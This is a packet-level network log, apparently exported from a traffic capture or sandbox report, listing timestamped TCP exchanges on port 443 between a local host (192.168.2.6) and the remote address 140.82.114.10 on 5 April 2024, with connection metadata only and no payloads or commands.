Apr 5, 2024 20:10:29.956000090 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.956000090 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.956006050 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.956309080 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.956326962 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.956367016 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.956371069 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.956393003 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.956413031 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.956511021 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.956516981 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.956573963 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.957817078 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.957833052 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.957957029 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.957961082 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.958065987 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.958106041 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.958125114 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.958167076 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.958194971 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.958203077 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.958203077 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.958206892 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.958504915 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.959044933 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.959064007 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.959110022 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.959132910 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.959132910 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.959137917 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.959147930 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.959170103 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.959178925 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.959227085 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.959230900 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.960205078 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.960227966 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.960268021 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.960292101 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.960294008 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.960303068 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.960319042 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.960376978 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.960376978 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.962590933 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.962605953 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.962658882 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.962678909 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.962682962 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.962701082 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.962711096 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.962719917 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.962727070 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.962733030 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.962759018 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.962930918 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.963458061 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.963473082 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.963529110 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.963551044 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.963551044 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.963555098 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.963579893 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.963742018 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.965893984 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.965909004 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.965959072 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.965985060 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.965991020 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.966016054 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.967298031 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.967319012 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.967379093 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.967395067 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.967407942 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.967411995 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.967423916 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.967447996 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.967468023 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.967473984 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.967487097 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.967500925 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.967500925 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.967632055 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.967713118 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.967727900 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.967772007 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.967797995 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.967801094 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.967833042 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.967833042 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.967853069 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.967899084 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.967902899 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.967911959 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.967927933 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.967935085 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.967947006 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.967950106 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.967982054 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.967998981 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968003035 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968003988 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968008995 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968030930 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968030930 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968049049 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968064070 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968076944 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968081951 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968095064 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968126059 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968151093 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968154907 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968177080 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968179941 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968194962 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968219995 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968223095 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968244076 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968250036 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968265057 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968316078 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968327045 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968327045 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968331099 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968343973 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968374968 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968379021 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968388081 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968406916 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968410969 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968440056 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968441963 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968450069 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968467951 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968497038 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968512058 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968525887 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968537092 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968543053 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968550920 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968571901 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968585968 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968596935 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968600035 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968614101 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968637943 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968652010 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968662977 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968667984 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968694925 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968700886 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968715906 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968724012 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968728065 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968746901 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968775988 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968796015 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968800068 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968822002 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968839884 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968857050 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968915939 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968925953 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968926907 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.968931913 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968940973 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.968961954 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969002962 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969021082 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969028950 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969032049 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969054937 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969060898 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969074965 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969088078 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969090939 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969120026 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969120026 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969125032 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969161034 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969177008 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969187975 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969187975 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969192982 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969206095 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969225883 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969240904 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969257116 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969261885 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969271898 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969290972 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969304085 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969304085 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969330072 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969332933 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969346046 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969360113 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969371080 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969407082 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969429016 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969429016 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969433069 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969454050 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969456911 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969474077 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969485998 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969491005 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969501972 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969525099 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969528913 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969544888 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969552994 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969557047 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969573021 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969597101 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969613075 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969624043 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969629049 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969647884 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969652891 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969671011 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969676018 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969676018 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969682932 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969702005 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.969722986 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969755888 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969755888 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:29.969763994 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:29.970361948 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.013214111 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.013232946 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.013360023 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.013369083 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.014118910 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.014137983 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.014235973 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.014235973 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.014240980 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.014991999 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.015007019 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.015315056 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.015321016 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.015985012 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.016011000 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.016108036 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.016108990 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.016114950 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.016134024 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.016184092 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.016189098 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.016345024 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.016949892 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.016966105 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.017041922 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.017041922 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.017045975 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.017158985 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.017874002 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.017891884 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.018001080 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.018001080 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.018006086 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.018163919 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.018858910 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.018872023 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.018999100 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.019004107 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.019043922 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.019990921 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.020009041 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.020092964 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.020097017 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.020117998 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.020143032 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.020147085 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.020163059 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.021179914 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.021198988 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.021297932 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.021298885 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.021302938 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.022274017 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.022289038 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.022564888 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.022571087 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.023133993 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.023153067 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.023257017 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.023257017 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.023262978 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.024046898 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.024061918 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.024139881 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.024139881 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.024141073 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.024152040 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.024219990 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.025453091 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.025470972 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.025784969 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.025789976 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.026433945 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.026454926 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.026524067 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.026529074 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.026619911 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.027093887 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.027108908 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.027188063 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.027194023 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.028244972 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.028264999 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.028347015 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.028347015 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.028351068 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.028362036 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.028623104 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.028628111 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.028878927 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.029553890 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.029572964 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.029747009 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.029751062 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.029803038 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.030618906 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.030644894 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.030711889 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.030718088 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.030752897 CEST	49727	443	192.168.2.6	140.82.114.10
